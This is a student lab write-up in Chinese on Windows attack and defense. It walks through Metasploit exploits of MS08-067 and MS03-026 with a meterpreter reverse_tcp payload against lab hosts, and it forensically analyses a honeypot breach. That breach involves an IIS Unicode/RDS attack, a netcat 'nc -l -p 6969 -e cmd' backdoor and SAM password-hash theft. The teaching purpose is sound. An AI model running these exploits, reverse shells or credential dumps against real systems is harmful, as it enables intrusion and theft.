20212811 2021-2022-2 《网络攻防实践》第六次作业

1.实践内容

1 windows操作系统的基本结构

windows操作系统内核的基本模块

windows执行体、windows内核体、设备驱动程序、硬件抽象层
windows窗口与图形界面接口内核实现代码
系统支持进程、环境子系统服务进程
服务进程、用户应用软件
核心子系统dll

windows操作系统内核中实现的核心机制

  • windows进程和线程管理机制
  • windows内存管理机制
  • windows文件管理机制
  • windows注册表管理机制
  • windows的网络机制

2 windows操作系统的安全系统

 

 

windows身份认证机制
windows操作系统以安全主体概念包含访问的请求实体对象、用户、用户组和计算机三大类

 

 

 

3.自主访问控制与强制访问控制机制
访问控制是操作系统安全的核心内容和基本要求。当系统主体对客体进行访问时,应按照一定的机制判定访问请求和访问方式是否合法,进而决定是否支持访问请求和执行访问操作。通常包括自主访问控制和强制访问控制等两种方式,前者指主体(进程或用户)对客体(如文件、目录、特殊设备文件等)的访问权限只能由客体的属主或超级用户决定或更改;而后者则由专门的安全管理员按照一定的规则分别对系统中的主体和客体赋予相应的安全标记,且基于特定的强制访问规则来决定是否允许访问。

4.windows安全审计机制
安全审计是一种事后追查的安全机制,其主要目标是检测和判定非法用户对系统的渗透或入侵,识别误操作并记录进程基于特定安全级活动的详细情况。通常,安全审计机制应提供审计事件配置、审计记录分类及排序等附带功能。

Windows系统实现安全机制的基本手段
1.标识、鉴别及可信通路机制
用于保证只有合法用户才能以系统允许的方式存取系统中的资源。用户合法性检查和身份认证机制通常采用口令验证或物理鉴定(如磁卡或IC卡、数字签名、指纹识别、声音识别)的方式。而就口令验证来讲,系统必须采用将用户输入的口令和保存在系统中的口令相比较的方式,因此系统口令表应基于特定加密手段及存取控制机制来保证其保密性。此外,还必须保证用户与系统间交互特别是登陆过程的安全性和可信性。

2.最小特权管理机制
特权是超越访问控制限制的能力,它和访问控制结合使用,提高了系统的灵活性。然而,简单的系统管理员或超级用户管理模式也带来了不安全的隐患,即一旦相应口令失窃,则后果不堪设想。因此,应引入最小特权管理机制,根据敏感操作类型进行特权细分及基于职责关联一组特权指令集,同时建立特权传递及计算机制,并保证任何企图超越强制访问控制和自主访问控制的特权任务,都必须通过特权机制的检查。

3.隐蔽通道分析处理机制
所谓隐蔽通道是指允许进程间以危害系统安全策略的方式传输信息的通信信道。根据共享资源性质的不同,其具体可分为存储隐蔽通道和时间隐蔽通道。鉴于隐蔽通道可能造成严重的信息泄漏,所以应当建立适当的隐蔽通道分析处理机制,以监测和识别可能的隐蔽通道,并予以消除、降低带宽或进行审计。

3 windows远程安全攻防技术

远程口令猜测与破解攻击:采用暴力破解、基于字典的猜测以及中间人身份认证欺骗攻击技术

攻击windows网络服务:系统存在可能导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞对windows网络服务实施远程渗透攻击,从而得到系统的访问权

攻击windows客户端及用户:攻击者利用社会工程学诱骗用户来帮助他们执行伪装目的的恶意代码或者流氓软件。

针对特定目标的渗透测试攻击工程流程
漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试
使用metasploit软件实施渗透测试。

 

 

windows口令猜测与破解攻击
猜测:最简单的猜测攻击就是在命令行终端中输入“net use \HOST\IPC$*/u:Administrator”根据提示猜测账号的收集。
常用工具:legion、enum、smbgrind、ntscan

远程口令字交换通信窃听与破解
windows在进行网络身份认证时,使用LanMan、NTLM和Kerberos认证协议。

远程口令的防范

windows远程渗透攻击

1、针对于NetBIOS的攻击
NetBIOS以运行在TCP/IP系统中的NBT协议来实现,具体包括在UDP的137端口上监听的NetBIOS名字的服务;UDP的138端口上的NetBIOS数据报服务;TCP的139,445端口的NetBIOS会话服务。
2、SMB网络服务
SMB(Server Message Block)提供了Windows网络中最常用的远程文件与打印共享服务,其次SMB的命名管道是MSRPC协议认证和调用本地服务的承载传输层,139和445端口。
3、MSRPC网络服务
这个服务能够完美的调用远程服务器上服务进程的过程。采用的网络传输层协议包括:
ncacn_ip_tcp  135
ncadg_ip_udp  135
ncacn_np  (TCP 139和445)主要是这个,SMB命名管道传输协议
4、RDP远程桌面服务
默认3389端口,MS12-020漏洞使得目标机器rdpwd.sys内存崩溃,拒绝服务。

针对于windows系统上微软网络服务的渗透攻击
比如微软产品IIS,SQL,Exchange,DNS,WINS,FTP等

针对于windows系统上第三方网络服务渗透攻击
windows上的Apache,serv-u,websphere,Filezilla等程序漏洞攻击

针对网络服务远程渗透攻击的安全防范措施
1、禁用所有不必要的网络服务
2、尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署(在这些协议中,FTP的安全性最为薄弱,应该尽量避免使用,而SSH/SFTP除了对身份认证过程中的敏感登陆信息进行加密传输之外,对所有通过网络传输的文件内容也进行了加密,因此安全性是最高的。在选定网络协议与具体的网络服务软件之后,网络管理员下一步要做的是根据一份最佳安全配置实践指导来架设网络服务,其中需要特别重视的是一定要修改网络服务的默认口令和一些不安全配置)
3、及时更新网络服务版本(网络管理员是否能够及时地更新网络服务软件,是决定服务器系统安全性的关键所在)
4、使用xinetd、防火墙为Linux网络服务添加网络访问控制机制(xinetd是由inetd和TCP Wrapper发展而来的一套网络访问控制机制,提供了Linux系统中启动一些控制网络服务,并增强其安全性的一套解决方案)
5、建立入侵检测与应急响应计划流程(在网关位置部署Snort NIDS并进行正确有效的配置,此外也可以选择在关键的服务器系统上安装OSSEC等HIDS系统,监控系统上的入侵行为,还需要建立起一套完整的应急响应计划体系)。

本地安全攻防技术

1.本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。
2.敏感信息窃取:
windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文)
windows系统口令字破解技术(L0phtCrack、John the Ripper、Cain)
用户敏感数据窃取:find、findstr、grep、meterpreter
本地敏感信息窃取防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。

windows消灭踪迹

1.消灭踪迹关闭审计功能、清理事件日志。
防范措施:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。
2.远控和后门程序
远控:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)
后门程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)
防范措施:后门检测软件、杀软、rootkitrerealer、IcSword

2.实践过程

1、动手实践:Metasploit Windows Attack

任务:使用metasploit软件进行windows远程渗透统计实验.
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权.

kali(192.168.92.2) win2k(192.168.92.124)
在kali打开metasploit,输入msfconsole,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。

 

再执行命令:use exploit/windows/smb/ms08_067_netapi。表示我们将攻击的漏洞

 

步骤③:选择攻击负载模块,先用show payloads列举出所有适用的负载模块,包括:远程Shell、执行命令、添加用户、上传并执行程序、下载并执行程序、VNC远程控制等。有效载荷有三种类型 :

  • Singles - Singles非常小,旨在建立某种通讯,然后进入下一阶段。
  • Staged - 是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
  • Stages - 是由Stagers模块下载的payload组件。

show payloads会显示出有效的攻击载荷,依此选择攻击负载模块
选择攻击负载模块,可以通过输入show payloads,然后找到你要用的攻击负载模块,输入set PAYLOAD 3。然后然后show options

 

然后配置攻击机和靶机的IP地址 set RHOST 靶机IP set LHOST 攻击机IP
然后输入set TARGET 0设置目标操作系统平台类型

 

 


输入exploit开始攻击

 

进入了win2k的cmd界面,我们ipconfig

 

 

2、取证分析实践:解码一次成功的NT系统破解攻击

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
    攻击者使用了什么破解工具进行攻击
    攻击者如何使用这个破解工具进入并控制了系统
    攻击者获得系统访问权限后做了什么
    我们如何防止这样的攻击
    你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

使用wireshark打开snort-0204@0117.log,大致浏览文件后,可以发现日志文件由以下内容组成:

  1. 可识别的HTTP协议内容
  2. 可识别的SQL语言代码内容
  3. 可识别的系统操作代码内容
  4. 不可识别的数据(二进制数据)

(1)攻击者使用了什么破解工具进行攻击

问题解答:攻击者利用了Unicode攻击(针对MS00-078/MS01-026)和针对msadcs.dll中RDS漏洞(MS02-065)的msadc.pl/msadc2.pl 渗透攻击工具进行了攻击。

分析:
追踪HTTP数据流,可以找到特殊字符%C0%AF,在Unicode编码中对应符号/,因此可以推测存在UNICODE编码漏洞攻击,说明攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况:

用wireshark软件打开.log文件,使用规则ip.addr == 172.16.1.106 and http对数据进行筛选并分析

 

 

 

编号为117的数据包发现了异常流量。boot.ini是NT系统的启动文件。而前面的..%c0af..是"/"的Unicode编码,猜测存在Unicode漏洞攻击。

Unicode漏洞是指在Unicode字符解码时,IIS 4.0/5.0存在一个安全漏洞,导致用户可以远程通过iis执行任意命令。当用户用IIS打开文件时,如果该文件名包含Unicode字符,系统会对其进行解码。如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件。

 

2.攻击者如何使用这个破解工具进入并控制了系统

在140行可以看到有一个msadcs.dll文件,这是一个远程数据访问服务的文件,应当是RDS漏洞

 

 

该漏洞可以导致攻击者远程执行用户系统的命令,并以设备用户的身份运行

 

进行HTTP流追踪,看到!ADM!ROX!YOUR!WORLD!,证实这是RDS漏洞攻击,

msadc.pl/msadc2.pl是渗透脚本工具。并在msadcs.dll存在的MDAC RDS漏洞进行SQL注入

 

 

3.攻击者获得系统访问权限后做了什么

确定是msadc.pl/msadc2.pl渗透脚本工具后,接下来使用 http.request.uri contains "msadc" 进行筛选,可以看到攻击机成功往被攻击设备上传了后门工具

 

 

然后攻击者使用 c+nc+-l+-p+6969+-e+cmd1.exe 打开后门

 

 

 

 

尝试提升本地权限,向yay.txt和yay2.txt的文件内写指令,失败后又尝试查看用户组信息,将IUSR加入本地管理员组

 

获取SAM备份,在上一步获取权限之后转而去继续获取SAM密码。这次rdisk /s-备份关键系统信息,在%systemroot%\repair中会创建一个sam._的SAM压缩拷贝

 

开启了一个远程shell,成功的获取到了SAM的值,并写入文件har.txt,将SAM备份文件拷贝到IIS的根目录inetpub,并通过web方式进行了下载

 

4.我们如何防止这样的攻击

口令要具有较高的强度,这样可以增大破解口令难度;定期的打补丁,修复漏洞;要定期的扫描自身的主机,查看是否存在漏洞等危险。

限制网络用户访问和调用CMD命令的权限,若没必要使用SCRIPTS和MSADC目录,删除或改名。

通过移除或删除系统内/msadc目录,同时移除c:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC 2.1 SP2补丁,并注意及时上网更新

 

5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

追踪TCP流就可以看到一行字,可知攻击者已经知道这是一台蜜罐主机

3、团队对抗实践:Windows系统远程渗透攻击与分析

攻防对抗实践内容:
攻击方:使用metaploit选择漏洞进行攻击,获得控制权。
防守方:使用wireshark监听获得的网络数据包文件,并结合wireshark/snort分析攻击分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功后 在本地执行的命令输入等信息。
实验环境:
kali 192.168.92.2
Win2KServer 192.168.92.124
在 Kali 攻击机终端使用以下命令进入 Metasploit:

 

 

使用 MS03-026 作为攻击的目标漏洞:

use exploit/windows/dcerpc/ms03_026_dcom
设置打开反向连接的载荷:

set PAYLOAD windows/meterpreter/reverse_tcp
设置攻击机 IP:
set LHOST 192.168.200.10

设置靶机 IP:
set RHOST 192.168.200.124
开始攻击:
exploit4

 

 

 

 

使用 ipconfig 验证:

 

 

 打开 Wireshark,筛选:
ip.addr == 192.168.200.124 && ip.addr == 192.168.200.10

 

3.学习中遇到的问题及解决

攻击机ping不通靶机:上次做试验时Windows防火墙忘记关了。

2.Wireshark内容较多时定位困难:可以使用右侧的滚动条粗略定位,再用PgUp和PgDn进行翻页,找到所需的数据包。

 

4.学习感想和体会

在本次实验中,我学会了如何使用Metasploit利用MS08-067漏洞攻击Windows系统,并且成功拿到了shell,可以对靶机进行远程控制。

通过本次实验,我体会到了Metasploit的强大威力,深刻认识到了漏洞的危害性,知道了为什么要及时更新漏洞补丁,提高了我的安全意识。

 

posted @ 2022-04-24 14:38  董子超  阅读(60)  评论(0编辑  收藏  举报